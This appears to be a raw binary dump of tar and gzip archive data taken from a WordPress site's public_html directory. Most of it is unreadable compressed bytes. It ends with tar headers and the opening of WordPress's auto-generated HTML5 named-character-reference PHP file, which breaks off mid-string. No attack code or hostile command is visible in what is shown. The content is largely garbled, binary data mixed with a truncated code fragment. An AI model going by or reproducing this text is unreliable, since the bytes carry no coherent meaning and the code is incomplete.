���j��1��^�#��!������n�Ta̼3fiy��T����t���")<�vAx6�����#b��X�f,��;fl��tV��W�憅��;��[�aB�Ux@�o��8@<ᆬ���|�F���X0�+3#N�P�����s@w?+���c�zT�"�\բ-`s�r��Wt��0u�#���d��r���h��v�P��D`F9$C� c"%�&Ć���� �A9T4r�*�$G';r���a��B��IJ�"u��1N��q�.��`'gDc&����[l��J����)nfϛ0�)|#˓�b��Pz�h*�7���.|������.�����#'�s*����R��9���\��O��/�4���~.�+��1�R�������E^�O�_��Q,o�H�d~�a�Q]�`��?q���jH����
�Ju�?%�_s3C��ǿ��0M���'r��$mk�f�h������kk��Uu��I��*�Ay���@b��"g>���:n�Δ�YĒrYC�i��������'0q���z{Y��j�y����$+�V��4��/z�]��Q���pPB$C>��1��9<��x���Gtc]`�ŋ[�(�|�a$�����T;	ty�Q���̽\���}����\б[�*�;	S0M����y�^�\p�x��F����5�&�:�P!%ԫ�
�nш$���Z�
"����f#��J]��m��*vX/��J^/�RW�B);P,�!N� �v����MJ��_R�JN�L�X"-īɯ���Ĺ�g���)[Pj��ǣ�-I:^B�[e���8�H�N�Ĉ�gO�%���>a�g0��m��,f�ARx,_(�����������(j\�[���7�B�V@YySJ��Iۯ
R0��<cP6�ҷ�p�xP�h�SW��el�s�x'���������8�����q3���Q�9����W(��Y��T��:�d���ۧ��U��W���Q��n��0u*y���q�.R
�BY�H���:l�$NM}#(���Cܯ.,�9㛺�����S��>�r3����a���BM�"�h9t��)��%q8zXuR��aGTiRh�G�κĬھ�!
hO���N�ݦ~��l=��L�&׸�P��4��Y-t|&,|)M�Q=�ḡ����zn�#|�ǫ��E��Z��Y�tɕ��U����OMov�LZ�BZ����mC�t�u?�a7��59�+���z����R_��n?�,�h�ǔ�_�6���[.���ۯ�ĸ�����-/�:���a�3_oo�Ϛ�k)��>���������(=t~���8�;��l�n[Z|SD�+栕��c�joBDL\�{B������FV=���q��6GP�LXEt7�S:='T<)�%���jɩ���U�AǮ�춯���C��^x@���}Ka'�����<�ƧK��eN�Į3�U��y���[c����<�4v��
��4.q:Ka\��BR�	��y�gm����E�eI�o�G(:bSʠ�@R�h�6D�N�xm���#�f}�Ao�卖�n4�����F�azb���8s0�@�1����w)h=����!�
�u���MC��Ԓ\�KrI�SԞ<ba�\�Ħ�J�[WT�N�8��3TD���U>���D/D��������n����/������8�GA�F��]��ia�dz�8W��G���،��] 4y����Wr�.�:�*);&��Eo`�V��g��!�!==Na�ޠJ���cT�<ɜq����ZϞ(���zhQ�Ǎ��#��y��r݇��
6���|�v�)ȏԘKD7I�Shμ"`T€Gn�A&�hv�d'2��b�xL�$��9����@��d�_�j�S���2���Vk�1��'����	��[����d�H ��4{�i�QoG���<�3":p@D,%ϔ��Oъc�NP�F ��t�ӊ�:�әx̐�F������d�<֎.#��� JĜ5��Q�y�ed�.��=��Un�7w&�TM��i��ۥ����^e�	Ʒ��.0��-�S�s�v�2Ҝ�aF�|�:Y9���ϺL��T8�|�6�MC�L���A��)�B'q&���kz(55ˈ@v�1#T�Ll�c�|x c��F�����\�Y�U#�ל%Q�1.F���xIEϧ�����K�	n��8���q+`G!}�Թ*���g���$6�dh=d:k����E�ٸ�da5 �y
}�S|����F���.����y3|�(��."pVM^�,�^N�|U�X��=Lc���˸@��H:`lE�E�H�Nڌ�������Pޅ�����U����5�.N�R�Q�gs��N��J�T�{�w�#Ѓ���N�G_{��:NY�L>kV�o���Ľ�i�/9�(�f�#č�gN��y�0p����aB��>���}'�0C�pڧ��
	�MkϜۥч$�8y�RM:W��!�#�[�q�R�ZÚ1G�W�K�
@��"M�pw���a�S��O^�(VD�F)d����D6�B|xwaޭ]Gv��[B�s�a�hoi�����xbr�D��#�kζG'=B�6Po��7�6�8ϳW�a`�ܺ�N�z�������8���� F�IN1p� a�����|�i{�yXt�����/��/��l����+�*���	�"�뤔��ce3�/�=��a!G��b�,!���r&I����ȩ?�s�x����] (��w����u�eE��]e͋�$�����RXN�Or��Ӓ`ޅwa��8^����m��E��
�؏Y�M�����$�~o/E��T!���zbI�<��,��H�,�����|�@�[b�uY;���c9y'���S�֍���U9L����+�Q�"�	KR�K�wfof�Οb,��v
+�Jg�PF݃���:��ңrhJ��QW��{�n�Ӄtp����+]��i{6��Z�l��C��J..1���������,g�!��vH��|H�l�K�3nt}jU=��=�x~����kǼG��f��b=�U��n�����`�e�b�.4^�C
���!e.��UN�bA(�%�3� R0�����5�+?�����y��g��C³G���!��i�i/��2�W�+�F��ۇK+b������v]�)J�Wڪ����KQ�ֈ�|������'�h=�,�XmD@�U�+ѣۯF�B]�oT���̓(��Dd'���dN�v@�})p������	92���'����6��e"\nZ����3�(�5���F�(3�9��"�F�Ţ"��%i��u��J��׳�R1�{:��Zq�Ȣ�W鏿o���wD5�vF�W��R%ώP�4���e� ��w�6�
T��+��F�Y{kF�:n0�' ����wN�<����E�A���$���
o���G$&=��i�W�-u�ʬ��#W��6����ګc��}o7��m7��z�e��,�7��'Ne'	�%YE��a�z��(�j�$Q�|���6&��'�^�r�ؗ��^M;�⺱ljy�Z
���!.Ǹ��U,�N�;z��=���w��z#��ӫ�GIoȟ���d�%H���p�H�O �\��F���}�X�Y�ƥH|Ͼ��ttI����l'H���"�[���S�x�c�\囨�QJ x>t�ckY��O��h�{�����
�ج;ڐz!*�d�L�^��̹�\3؍�T�_�ԍĔ�u���W�rXs�WT!7���8��-ֱG�2�@\�s��|��Q
�zị6T��Pݠ�ku��0��\�QЫ�q`�7^K�֘�f�U˪�_|ϧ.����Q�ٺ�pNV�46#���'�;��&�L��˲O���EN�޷

|����J�" -��b�0��I�x���:�����8�:�^_�o�Mn��[v������%֕c�F�҄=*'\P������#�B�/���'�%�B(Į�w#i�.�dzU�
���b01
>np��KH��� 7'(�8�ܚ"j3x�[ZW�5,q�A֯��3�W��}���QX�#�r��Է
R�;
��e�B0����o{U�;E�o�2��>��ce�n^���h7�ջ�zCuM��\���K�vt��f���_IƧ�Dl͑���B�(�R�ŵNL1�sJ��fK2D�3�uUG�4��cWZG�3�����������2��q���ƞ8�W�pkAC�~b|s�ˆ^L��vD��_$y�����q\	ʕ��^�q	1`�C�����C�q�1 7�s�C���C��LұW�B3��"H����;�_#Bs�n�*D*2�m�#d�1��G���ph�e�$��<���u��F=Л�����r�P42�\裎4��y��&�ez/�X�Wи�痫��ذ^ (����{h@�������M��Տ�2�pr�������b�a�߹4\ܠ�b�Kr��D�WA���,��g�M�>�w�ru��&�l	����(Jd���T5L9����L�S���.�.��,�����x��0��?/��]���\7r�0c(�&��E���N2��IaV��`%�7��Z��ՙٮG�j����EI3�T���&	�4!k�z̩�A���<���GYܧ�
y`�7�S�c!'#��B�Ĩ!l�gF��o���%���s�g��ԗ��u�딾l�{>ƙSޜJ�QNJ������!�:D7�N@�SQ��&�c���B�0�|o��jQ�g�'<,n��9:E�m�p�`�s����M�G;�Ѻs:E�^��!5�4h�LV@�4G��m	�*��
waN��߀I�U��xg.J�ߨ7���+T������^�%��]T�U'U�~��x�}%��w2M��5$�zYƿ���K�1�� �;���(�����
bI��	���^zO���H�=6��� JȈ���\��	�)-7J.�����f'޴�?��M�~��7�2�8(�1ܢ��CoP(���Ppٸ����!�'	�kL������M����bf?D n0$o#|'�XoqR �m�96JX�q<D�/	SO����Oѯ=\���H��Q���s���a�iT>x=�֔��Xu�
�"��p{�����1 e@M�����E�}�#���%T^�a%��2�7�x�e��D�,�+��;n�A7�x�����:�\T����ެo=���� #a	���Ӝ�؉�;qԩ��+iq�r{�
k���
{wI*�ԗ}�-_!y��\���-�HoEni]?����|�����#��5_-?� _�l�b���%��d��
"(�"_��{��k;���Ý�jQS�w�׭�{@������m���+��0������OU��x���2� �ٸJ!��YۍO��z�2��W0H:��%]F*⹺�ȑt|�'cV������PU…�M�K�5Z�_v���e�w��RX�9��wla���=L�K�49I�M�-.��b#�m�U��؈n��
O��������F�	D�8�/%24
L��R<���p�_��+[!x9dQ
�*~i�wf��J5�m�nA��8�3�δ~,��S{���n/�^.�8�V?�UN;�5_$�0��y�	���N�D!I�<�WrC�ut���I��1ēhx��9�h�U�å�E�6�9dXҠl\������'�Hޙ�nVe��~�-�7�N�gu+��$��t�K!��k�\U�<��/���̅6�G'�����ȖH�Y@]��$�zpea�E��%�G��`�5y� �j)$%�D�R��>h�4T�A �[�*�EY��̛��y���L~����4V4����R.ddQh��d@�M��b���.K_�m��'�" h�ְ`�;��J��/��X��&/d:�,G�*`�4�a~9TG07���q���r�t�#�rr�5�%X������}b�I0C�7'��`���
��k@%o�<]�� �U���n�1\�3���[$�F�K���K�(��gr{����
n�ux��ҩްXw��;��1�ިZ����1S>�p�����aw���Y�b��f����l9���T�Q��f�G��"C�a�~,/�t��pw�Z���U�`@��@�^��������08�W>N��i�1�YJ��n.<72�gh�9˷���"#���+*�$N3�osc��A`o���pI^_��NM-n0�y�W��!n'/b�E{���I
�.�F YE��4�*
�����_uo	������r��w�w���>�v���i�q���Kh���X��o���%
k�V	(v��V��Ef�w�i���FL���yN+���2�YF/�̡
����4bp�I�.����ӂ_!9S�:6CFK��-bou㇈Ns�!O|�T���Z��ڲ蟉�YNXi�ܳ1�/�H��A��1����tԹA������{��1�������2��Vx�j�^r��zM�v��y����~�A�*��k����!�%ˢ&�d�+�' �x_�U�����X%
>�f.2u�jCX����������q��uW[m�s���W\�U֨dU���*�~�@�`�u۲�����v�8���<8r�n�B��{���Km]�4��(.؏m��E#�%(��sm�_)D���_r�:[�"���X	{����>ą�b��_{�渽�-���������*�9h�K����i7I��!�
��{Hk$ㄩvH��9���`[��1��;�+�������&C�� 1;���wo^�h�x�`7`_�U���u^8��:N�oP/��sƯp�؏��0<[(�>�O�����S%�R�[�H>F�`1��_�d��F������yH�S-�M�!�}���3�v0�N
���gqm�\k�Á�
��+�*����z�8��󦱈�qjhfv�3��޳�Gil3�Qz�A�4��p�n���|�u���J��O�S;=���P_i'���+}��HЍ�eB����J?�Q�
S�+}�#��4���C ���$�)�!�+��|�����`�	'�7��0�JOP���R���@�=VX�ÎU}���_i*��gZE�8_���4�s�uB����� {��z��cڸ\7�H@u��2\����8��K�n(�/]el�:�C�ş�����hL@�%s���}
���z�*z3�x���<���������E����+q�<�6=^�S�Rn̮��'L���T�]��4*���f�A����81B�
m�D��$FQp��,�'�0(��+����3��Uي�.���L�utO��M>����Q�&}�6���K���,N��2t#�����M�+�C�J�m���\Mn!2+�o��6eSe�M�(Y_�0*Z�ǯˇn�>����|��ڡ}���I���dKqNYuǏj�{W[Ꞣ��Q��*à^ƫ�
�،|�p����g�&��}��/���X��У�53a�/�ě�	Jl�{|~�0W�9���s		XC=�0���]úSb�7ޓ�HS��&w��Ue�j���|Uv��y\Uc%�.	NX/0�i�_�X�vD�?x/I<+^��xOȉ�VS�8�&��q\/²�8|/��|i���&�6-6���
n��-̣�a���0hF���b�D�F����d�MϺ9�7��p���&�
By-�xa�p����|Gkp�{�k�f� �f�m`��{O<{�P4~w���I3z�I��8u���=@��꺞����e��e���F�kk^�Ea���(�U5+�B��qL�~qX��-�E�=h�Q�dyLA�"
ݧ�TG(@i���y�	iV8*m�ߔ�7p%��/���ϊ�!��{���ݪ�#?��8J�Ε�N&�"��~�лp���T����>^Y�05�����b�Š�R��/x��]e�H_t����\b�m�q	�^���+)�r�E�܋%
�܄�D��p�|�_�1>��a�oW1~qA
��E�Fǩ�¥C�z�l����>d%�Gn���s��c{Ru���,� h�c�^C��ԩ����~N`�/���p�&��O�q
ѣ�_ @Փ�՜7',䰱D{�`2|/'.��1��ֵv~9\R�$�K�|� �W
�����|T�C>\��U���ǀgi��|�M��2�9�ّd����Ǧ�u�I�#^Oɬ��@�{�IGٍ2S->*�Kz	
nJ�ϝ� HM��F�T��*�G�!s@������U��p
�Wo��^�����U~���3���Q���Ar�(@�4Mò$��݁�w���LwA
gݜ�Q'��>����]��zU�4�>ӛ��ybD�mx~��ئµJ�I�JQ�r�g�*?JA���޴�53����~Q�~��/�NRe:\*��O����f�J��8`��؎Kt��pG
���[�Cav��f�P��s������3�U'�������Þv��㵳����*4AR聜в�ehh�SԭD-i�{�q	[_��Ԃ)�ÜfLU1�fk�?������R��I��R�ZH����-���ކ�ĵU�i�I~�%�۞f�jJ�ٰ�:>��M�a���%���4w[3���X/��#�(��v����*<Φ2�����1L����6�G��!�(���#)&��B֜UDIr`�$}g�b�?��
廄'c��]
~]�32�7'�$�:�9)%Q�K�Fצ8�� ���ǘ�I���!A�'�n�}����I��h���F7�Ҋ���1@��N�@���~ȯ��0U#�7�y��k�y����xhnB �y����) ��Q@���r�����
S
�2�V5\�>#.-8�_
./S{�[��c���3��.j� ��	wpD�*�Os8�.ڬ���❋B7qy���F#W;\�+�:]�B�uDڍ�9 �e:�L��p}��-�tR���ɓj��l���)�咧�pҨ&��Q���P�=�x4��&b�y�Ƣ<7$�=Eڐ������mH��K��	�y�B���%�}*,�~���'�K�{x>0�K@�\�<�
 �&��
�j�z
�)�Q �`kX���/h��Zw��`&v����"�sj��G�Jff��;��8Á��=}����1�QW��1����4��+E���q�XX�y��F�n��2L)�b{o7������̫�<��<y�W�6
b8	�@���HwT;e¤�]\S��@��=�pY6���a�Ċ9E�a??���e\T�2��/_�M�j[^;��h�EA
�Z��@{�N1R�%z�uڱ�z��m?�'�9NØ��˳^(Yg�쩇��+QO=�h^��u�����$��+]T�*�Hf�z��En;f��s�j��Q����g��lp���Ѩ�00�PU��>X���{E�rT�⨿iz�!�z�v���f8~��r�.s(ē��'H&�O�g7d[�]��\�2~���<��c�����]���]�)��������e	�Ql|�mjMɻ"�����{�%�*`d���Ahk�򖷂�_f�5�x��>0S���]�\����8���(�29@���M���0����?��D��?��4)��hU�ޕ�K׮d���~@���:V"/��]�=��+@S#�������N@P�!C�^X�H�Sb\ƫ�a��������Z���d����R��ېn�kv6��Fqr�9�}2�&�У �_S�Rpn^���-���p�����Ud�a���w��qLΉ0�N"qƺ�I�l�iC�ձ��Z�gi��3�g�UgG\'��o�^�0�͝m��T,E�2^����4LxF	1���O1烼q�O��t�,Z�5R��eB�Ψ�[3�\����*e?;�0a���^t�c��"�ڛ�Ʋ�|�mb}�2e�Ƀh�#�O\r����'����f
�(��o"�_`�\�z�	u�j��p֮�~�?��� ͜u�A��F6���
��C�E����c�'��-��)�����E���{�[xx��=�j���O
v�C����:�A6�~O�ꯂYû�9~���A�q
�9��9L}�`/�g��.���V7�y�[\"��p�E�󄜠��4�G�c*
��ƶ[𾃭m��cG:^���cz
=�_>�P"y�������p%�Z'5�mߎg2��TO�&@�Z5���w�wN�����w�2��[=��2��r�c���_S5�
���5�/h�j�7������n+��K��
1��� ���u����s�۰��=��^JR%���aU5�'D�|� �I�q��N�A�>�AD00��h��l��߳Z(F��qc({�;�z�b�B�p��a�Ru�W6̥��3* ����v?�((�?7��7
��M�_��{�aff�_V&
�B��n������>���!�Y�0����8���!5����:�5�Scذ�w�@��^j�p�"K���ԩ1셠�%�U�`Q�N�d=�I[�t�4�V��k��(L��\��~wm�.Uk:Gý�d���D���ᤛ�-�q�+`�4�8�:��U�U�D�~�cJp�+�Y��ǁHx�8XT��Ո�����n��|C�0�\��d�^}�,�+lZH���
�`��������E�f����ٖ�ŵES|t����_��K�i/|@�ɇj�����7��Caơf�m�(<K)͇t������{���CkO�8P�Fk�z�.j�^ﰧ2���4�����=\�q;u���P�u�I=C�橻���D��7/W��{䦤/sw�����9�)���n�'*N6�t\=|�F.��xH�cz�b��00i����M�;��Ҥ!�б�e!�<M���GjrU�����ef	7�L��4�X��4�S�AjUL��X�Y�-x�/(�s�aw��߰�_wC�:���kZQQr���L�D:\8�%&�h��z�SE�dž��Q�<����p�籼2�!@�ƼL@���G/���U�0tW`څ�<:�-�Fa����ڵ�2F��Q�9����:Tt�K�[l��~8����	ב�1̄��>]-F4��J�þ�SE�Z8�]����	��Q
b�L�씜��'��o@M�n�`^D�gi}V�J�>Jk_���9��<(�9{wD�^�}��Z���@?=oj���T�wP..�{�2��ȹG��<Ifb
�W~�*�֜
J�zRc��Y�&�j�w0X-qE�x5u�\%�<Ba|��)�P���n�O9�k���X�;S�+ܜ�O�߹ǩ��M�=�ր�ޞcy��#�)�`��dpR����������M�5e�yy�2N��nW}zf2��v�;L�T;� �2�AR5�y��iЁ�N��P��C��v�@k*�M�wn��l��^�b!C��K|�I���.�jtH&�㴉��y���\��EJ������\M�j�u��S��J�9����;�{��9D�֒���S��ux��WU��ߦuҺz��InW~B�a;������W�,7�O�)38Eu��.�<���zuo�2
չ?��^9,��uZ��@��ǭM�GC�0��8�3��'T�9�{z-���f�þ�O���������H�?�b!�,:�7a�&`F����K�3~:\��_���o�~�e���v�����E���DwL��v	���b���-��bN�׿p����_����o���߿����TFė@PKE�N\�K]Ƴ�*class-wp-html-open-elements.php.php.tar.gznu�[�����kW��_�W��SLkȫ�@BJ	M��78M���q�W���^m��C��;3z��e�m�����F�yk4�XN����^0ވ�����$ؘF?�'�
l����<I:�Zd$Ž�D�iҍ��g��M�<z�}s��o�}��p���[[��������zp��ɒ��0�1�G�y�ض���W��+�����n�7�}|����Ì���\�`od�Ƃ^�o��ܼ@���A�{�}�݄�e3後��˲Dx��c5�E�\3/��p�[y�F8x�&<�#|�À��&�%�Y��(�ƾ^�/ �(�)��"y�H��`����O}W�s�b�W]��t�r�( ���S{�Ie4�I�B�	&C0�����k
�=Ox
H*�m�C��e�ʉnX�o�X��J�U#|�V(ө���)��ӱp�+(�GY�S�8����0>@�!O�>��'��`5�N�f�b���"A()%��%	�&
:��K��v6M�d{�W7�Ġ;�t:��x��!ޑâ����ޓ�*��W�w�K(�K�C2�f�zE,`) �П��f/yl�����3��X^Rf����0��������f,��pj�&c�3��%@�
�8&���8Z"�ԟ���D����"ԏ(��o�Lq�%2�DĪ��Ԓ��b"/��$�4�A��c0y�S6A��z�n�+��>�|�_3Z&�2`k�y���\�YI[�����(�W�x$¥�f�fNA���vDc&��� /"E�,�Ù�+���A�~
��M�A�,�Qy���L�X�fA��O�
4}°�M֞%c\{蚰/^�����?8R��N7��'l3�R���􌩆�f�n�Y���aiU��o3�Y4�K�h6:�E�2=w���א�w=:7H�߁Ў`.H�(7���H�8T�,�EP|��@�H&���nL@t-)s��s�5��K��@������K�3�V�'ax�m[��X�?J�g����!_V
���@f!�,�����W����C��:��V��O$�2�|/��L��n����T��&[E�ʱ/.�%'IRa�-�>�g���k��S�D]�ط1�[��c�eNBQ��	l
䀜l�'�S�:�7#�z�ZZ��I�y�ʉ2���;I7����,����).�f��Q7W����w	0i�M�����(��Œ�
�����K��2�%]�d�!�Ԅ�\Ӊ�GE^�8�Yb���Z�)���&��Y����XhrZ~cl�ą��ຨְ�,�~��j�����|ʢ&.9`�]ԡ��.2.�3Q�7�53w	����@��؃*NJb��ҿ#���Yd�*�L�>v��]���#�V=�7�ayvCF)o4�S�g^������`n�/=9��$4�MH�0���S톊
�,��x\z��|���p`f
�Ge���%�,֓�E[�<5.㈛<�L*��HA0�=���_GD�]%�����
ШJݜ���OK��u��0�|pY"1L�
��
����h�r��k�'���fn���b3R?�q�x&(D����!�O�lТcL�U���~!�%G��-�D�ض
���`�Iu������Uy�ήKɾ�`��F��g�?����
�!o�|��|T_�
��(�mo� '��G6^�;�y��/e������篕�1O�ϡ�!V"��(*e�p��7n�by	 ����H������B�8�A��m-��O�(-b�G���k!������U�Q�g�<�rW��:@)w���d�hr�f)����P=9@���:|�%[���Zo�0H�+�	.������@�s�,KF'��\�<�2?a���6S�����1�th���ū������Q!Pv��3��i���m�#�m�R�Ou7�w\<��Dq�`SP�!^#�j���%� ��̵�,�]��kDv�"�"�$�}�weP��C��S�lĊ���ʻr���]����(ώ�Z�6��^k�Þm�b��l4f/��$X�s
�k%�_~I���*�^�����l���Z�ޣ��������>��&�H�����f�Za��]&�5_�
�sC��6>f�㒾��|�9�;K�O�1�
`C
H��)����_�	pt�Y���$@rhC
���d�)6[/�/�V]tGR�#�R�a�#��ӂB�<��:��s��Äǿf��+�'�l�Y���u�K��_��_�&k�š���
ój3A	H�:o�<��9n\�?
O�X�;ؓ
JM�j��G�B�þ�D�6���0�#�:�r&*�i��u�}.c�KQ�x��'�l�<>)#�������Ao�����N{�'���R��с}xf��0�^�������[�����G{=|� �����z<)>ϊ���{����������V���������"N���پ��;�U.�4�;r��Ҹmç�T縦	�p
��z&p4эS�a�����R���U�!�9Z�HưÝt]c����	l�lF�9F�!�C��"&���Mq �]X{�;q)bL]�4t�j�Δ
�u�XُaلN]>��R�C�̏�R!z}D�O�Y߽�r�ug��Ɩ����Us�B�Ĥ�N�.�L/�C
�cl���qkj��f�(Ѯ�-��7(�{sC���^z�w#+B{'��>y`s�"�q
B��͆�4�Pex�e��2�T����C'y�
��'���ȶ�!L�6�Y�I!�1�:s~n��I"�пD���J��߇W�T�N:�&,e�"�����{mu��CmJT��r���ݜQ�x�A�9�륎�!�v ��h)���M�a�꼌T�����켤ଥv5�5[�۷��wc���:����^���\�8\#񝗢��'�>Q��I�[�:͌���:y}Z߭&m|���&������>�/QjĩA*Uڭپ�ҿD�S%y��pv��͉�p-a�;<Gr��]D���QU:�2�6��R�G�����TA�CpVKl5vg��0�Z���gX��֍�)Z[��Էa�x.D�ɵ�j�|lo�&;����CtB�xGDbIq��ūIr��/?\�{ך�^^�D�V�2?�Z,/W7X���s�ϝ�?� ���6?��c��J�g}��û<�+�r�E��X����Eo`ܕQ�-��A��d��p�.�m�`q�bFZM=<���g,��;�4�.����Z�~SR�(�!����L� PGݮZh��P̺��z�[[���~K����@��cM���
��.����B��cP�/f�Ҍxc8EyQ��BO�+5�u�֎�JŽ�"���]F��lK9��\h�4�*M*��Z�Yu���4�Թl@�Z�r]Q]'iA~�{��\U�XY������o���Kឮ򗙺���T1��Ee�&Fsjɲb��c1�}NL����|�����j����B]#X�Q�oX~B�ҩm��,���Vr���]v�_��^�?�o{�'��T�ɏS:�k�f�d���t�\֌`�jX��Qk�"��uH�P�tI�C������Q���F
�|x��?a矕po��@��]�:iF�,
s5�2	�_Q�k��7�佢 �`ϐdu�}	VlZL��86�q�xo� �Q�Ɨ*lӘ_�8�>'�{�U��i��Z��V��yN(ă.ȱ3��h>{Kd�M��p3e�DV߹��`ܤ� �z�
��*�VZ�)M!C�%E���eSPk/�y�]m+:��QMPg l�9+cd||S
�Ն�@�(��Z%�c�?(1A�Ԕέ���S�Q�q�D���Q%H���Ek_�xoS�
	k�EJ��ڤ��:��	�‘ T���jZږb/�O�H�V{�� ��@�t$��+��U�l>Ӗ��*�����L�@sԚw~���7��}G{������|�aIڶPLUz�1$yB�cp��*���K@ڴ׆ء
]���_-(ƿ�S�v��c�������Y�C������]�[�q��?�lC���xK�����U��r a�8r��H(����o#��&xNC�l)(x&�o��R�ߤR�_����]	4\�k������5�x;o���N�92v���yV'Fnó����#;M���b���6s�\i:�6W�ΪMt�\n-�2;��ͥ�t�\jS���0�H��?��=�!��P�^�:]�͕ڜ�M�!�ܕ�rѪY؎�"ԙ����O��c�o�N�I�3���m�kު�=�d�o���Sk���:7���u~��bh�w���~ ��O��`�XW�`/�:�uW���Y���Ux�z�Dx1�m�G��B́3��n�t���1Ihxm[D��B{}����	�[�x���$R?�#��h��ݾ �[w�@@tR��NH�j!�iL�~*u9���r��5t`٩Ω?8Q7"�����Ȗ�vqs�x�K�@��Bz.��;�T<���NB�!��@\�R����^Qx5��L‹k�	F0�(�ߝ<��<1���7�ϋ��g]u������~���7P�D�ܢ�x�
�Y[�Pc"ұ�+!y�H�~J�	�Q��#	 ��:������Y�Ϻl�%c�������}��	oM�A�_��M��������?��U�^PKE�N\TFė@@(html5-named-character-references.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/html5-named-character-references.php000064400000234443151440300060024445 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo